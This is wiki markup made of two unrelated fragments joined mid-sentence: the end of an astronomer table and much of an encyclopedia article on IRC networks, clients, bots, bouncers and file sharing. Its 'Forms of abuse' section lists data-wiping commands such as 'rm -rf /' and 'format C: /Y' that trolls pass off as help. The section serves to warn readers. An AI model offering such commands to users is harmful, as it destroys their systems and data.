[[Heliocentrism|heliocentric model]] of universe |- |[[Nasir al-Din al-Tusi]] |This Persian astronomer gave the first extant exposition of the whole system of plane and spherical [[trigonometry]]. Made very accurate tables of [[planetary]] movements and named many [[star]]s. His planetary system was the most advanced of his period and was used extensively until the development of the [[heliocentric]] model. [[Tusi-couple]] resolves linear motion into the sum of two circular motions. He also calculated the value of 51' for the [[precession]] of the [[equinoxes]] and contributed to construction and usage of [[astrolabe]]. |- |[[copernicus|Nicolaus Copernicus]] |Was influential in reintroducing the concept of Heliocentrism in modern times. |- |[[Tycho Brahe]] |Did develop many important astronomical instruments, and was the first to do accurate repeatable measurments of the heavens. The measurements of the orbit of Mars were very important to the development of astronomy. |- |[[Johannes Kepler]] |Suggested the [[Kepler's Laws of Planetary Motion|elliptical orbits]] of planets, and propounded his ''[[Kepler's Laws of Planetary Motion|Laws of Planetary
hey run various implementations of IRC [[server]]s, and are administered by various groups of [[IRC operator|IRC Operators]], but the protocol exposed to IRC users is very similar, and all IRC networks can be accessed by the same client software. You can join to servers clicking in a &lt;nowiki&gt;irc://irc.server.net:port/channel&lt;/nowiki&gt; web [[link]]. The largest IRC networks have traditionally been grouped in ''The Big Four'' &amp;mdash; a designation for networks that top the statistics. Currently this includes four networks regularly frequented by around or over one hundred thousand clients, namely: * [[EFnet]] * [[IRCnet]] * [[QuakeNet]] * [[Undernet]] Other large networks include: * [[AustNet]] * [[DALnet]] * [[Enter The Game]] * [[Freenode]] * [[IRCHighway]] * [[IrCQ-Net]] * [[GameSurge]] * [[LinkNet]] * [[Rizon]] * [[IRC-Hispano]] * [[OFTC]] For network statistics, rankings, and a list of smaller networks, see [http://irc.netsplit.de/networks/ netsplit.de] and [http://searchirc.com/networks Search IRC]. For other articles on IRC networks, see [[:Category:IRC networks]]. ==Clients== :''See [[list of IRC clients]] for more detail.'' [[mIRC]] is widely believed to be the most popular IRC client on Windows based systems. However, with the recent introduction of clients such as [[Bersirc]], [[KVIrc]], [[Trillian (instant messenger)|Trillian]], and [[X-Chat]], mIRC is beginning to see much more competition. Many people still use mIRC most likely due to the fact that it has been around for quite some time and has a wide variety of scripts available. [[ircII]] is the canonical [[Unix]] IRC client, but its userbase has declined with the appearance of competing clients such as [[Enhanced Programmable ircII Client|ircII-EPIC]], [[BitchX]], [[irssi]], [[X-Chat]], etc. For [[Mac OS X]], the most widely-used clients are [[Ircle]] and [[Colloquy (IRC client)|Colloquy]]. OSX can also run most Unix-like [[command line]] and [[X Window System|X11]] IRC clients. Recently a special build of [[X-Chat]] has been gaining ground on OSX systems, [[X-Chat Aqua]]. [[ChatZilla]] is the [[Mozilla]] IRC client. [[Opera (web browser)|Opera]] also has a built-in IRC client. For a novice user, mIRC and over large-window clients might seem to be unnecessary large and complex. New users may prefer [[instant messenger]] based clients like [[Miranda IM]] or [[Trillian (instant messenger)|Trillian]], providing a familiar interface to the IRC application. The multi-platform open-source instant messenger [[Gaim]] also supports connection to the IRC networks. A framework designed to incorporate IRC into various other applications, such as games, is [[LibIRC]], although it is still heavily under development. ===Bots=== There are also many automated clients, called [[IRC bot|bot]]s. The first bot was written by [[Greg Lindahl]] and provided moderation for the game of [[Wumpus]], but most modern bots are usually used to exercise operator privileges (controlling channels and acting quickly in case of abuse), to annoy other users (perhaps by spamming them with lots of messages), to answer repetitive user questions and provide help when channels are not attended, or serve as permanent points of contact for information exchange (an answering machine, file transfer, etc.). The most popular IRC bots today are [[Eggdrop]] and [[EnergyMech]]. More recently, bots have been written using the [[mIRC]] client's built-in [[mIRC script|scripting language]]. One enterprising individual has created an IRC bot in MSH - see his blog post at [http://www.we11er.co.uk/blog/2005/08/monad-msh-irc-bot.html]. Modern [[IRC services]] are typically implemented using bots. Bots are useful for channel maintenance tasks such as banning users, keeping a list of operators, keeping the channel topic, etc. ===Bouncer=== A program that runs as a [[daemon (computer software)|daemon]] on a [[server]] and functions as a persistent [[proxy server|proxy]] is known as a [[bouncer (IRC)|bouncer]]. A bouncer's purpose is to maintain a connection to an IRC server, acting as a relay between it and the connecting client. Should the client lose network connectivity, the bouncer will archive all traffic for later delivery, allowing the user to resume his IRC session without externally perceptible disruption. Two of the most popular bouncers are [http://mind.riot.org/muh/ muh] and [http://www.psybnc.info/ psyBNC]. Muh is exclusively for single user connections, while psyBNC supports multiple users. Another feature-rich bouncer is [http://znc.sourceforge.net ZNC]. ==Modern IRC== IRC has changed much over its life on the Internet. New server software has added a multitude of new features. *[[IRC services|Services]]: Network-operated bots to facilitate registration of nicknames and channels, sending messages for offline users and network operator functions. *Extra Modes: While the original IRC system used a set of standard user and channel modes, new servers add many new modes for such features as removing color codes from text, or obscuring a user's hostmask (&quot;cloaking&quot;) to protect from [[denial of service]] attacks. *Proxy Detection: Most modern servers support detection of users attempting to connect through an insecure (misconfigured or exploited) [[proxy]], which can then be denied a connection. An example is the [http://www.blitzed.org/proxy Blitzed Open Proxy Monitor] or BOPM, used by several networks. *Additional Commands: New commands can be such things as shorthand commands to issue commands to Services, to network operator only commands to manipulate a user's hostmask. *[[Encryption]]: For the client-to-server leg of the connection [[Transport Layer Security|SSL]] might be used (messages cease to be secure once they are relayed to other users on standard connections, but it makes [[Man in the middle attack|eavesdropping]] on or wiretapping an individual's IRC sessions difficult). For client-to-client communication, [[Secure Direct Client-to-Client|SDCC]] (secure [[Direct Client-to-Client|DCC]]) can be used. *[[Ident]]: Provides identification to the IRC server. *Connection Protocol: IRC can be connected to via [[IPv4]], the current standard version of the [[Internet Protocol]], or by [[IPv6]], the next-generation version of the Protocol. ==Forms of abuse== Like any network open to the public, people with malicious intent can often be found on IRC networks. These people commonly utilize the following tactics: * Denial of service attacks and netsplit abuses, described above. * Responding to requests for help with potentially harmful instructions, such as :* format C: /Y (reformats hard drive in [[Microsoft Windows|Windows]]) :* rm -rf / (wipes a [[Unix]]/[[Linux]] system) :* Ctrl+Alt+Delete twice (forces a reboot in earlier versions of Windows) :* Alt+F4 (closes current program in Windows) :* Ctrl+F4 (closes current active window in mIRC) :* Alt+Z (closes the current channel window in mIRC) * Attempting to trick users into typing commands that will cause them to quit the server. For example: &quot;Two friends are sitting in a garden: /exit and /quit. /exit walks away, who is left?&quot; * Advertising channels that end in &quot;,0&quot; (such as #0,0). A single JOIN request can join multiple channels separated by commas, and joining channel 0 will cause a user to part all channels. * Using mIRC's $encode() and $decode() feature to do any of the above. ==File sharing== Using scripts like [http://www.sysreset.com Sysreset], [http://upp.monkey-pirate.com/ UPP] and [http://www.polaris-central.com Polaris] users can create file servers that allow them to share files with others. In addition to the normal pros and cons of file-sharing (see [[Copyright infringement of software]]), there are also groups that set up [[anime]] [[fansub]]bing networks, allowing American audiences to see anime that would normally be unavailable in English and outside of Japan. Due to the large amount of people who use IRC solely for [[file sharing]], some think of IRC as a form of [[P2P]] file sharing (along with the client [[mIRC]]). Conversely, many users try to defeat this view by persistently discouraging it or refusing to help with it. Technically, IRC is not for file sharing, although it does possess some advanced file transfer mechanisms which, most importantly, support resuming. However, IRC-based &quot;DCC&quot; transfers should not be considered to be P2P, as the download source is from one, single, individual; typically an &quot;XDCC&quot; bot or another user. While there is much legitimate material on IRC for download, there is also a strong background of &quot;[[warez]]&quot;, the sharing of illegal or copyrighted material. ==See also== {{wikibookspar|Internet Server Directory|Internet Relay Chat}} *[[Bash.org]] *[[qdb.us]] *[[Bulletin board system|BBS]] *[[Chat]] *[[Chat room]] *[[Depot channel]] *[[Direct Client-to-Client]] *[[Idle RPG]] - A role playing game for IRC *[[Instant messaging]] *[[IRC floods]] *[[IRC Services]] ** By service: *** [[ChanServ]] *** [[NickServ]] *** [[MemoServ]] *** [[OperServ]] ** Services daemons: *** [[Anope]] *** [[Epona]] *** [[srvx]] *[[IRCX]] *[[Internet forum]] *[[List of smiley codes]] *[[List of IRC commands]] *[[List of IRC clients]] *[[Multicast]] - IRC (and other group chat software) is one of the few technologies which does reliable one-to-many broadcast within groups (channels). *[[Online chat]] *[[PalTalk]] *[[Peer-to-peer]] *Alternatives to IRC **[[PSYC]] **[[SILC (protocol)|SILC]] **[[Jabber|XMPP/Jabber]] *[[XDCC]] *[[Shell account]] ==External links== *[http://www.mirc.com/mirclink.html Chat Links; From Web to IRC using irc://]. *[http://www.mirc.com/cmds.html mIRC commands]. *RFC 1459 - IRC Protocol. *[http://www.irc.org IRC.org - Technical and Historical IRC6 information] *[http://daniel.haxx.se/irchistory.html History of IRC summarized by Daniel Stenberg] *[http://www.mirc.com/servers.html mIRC server list, m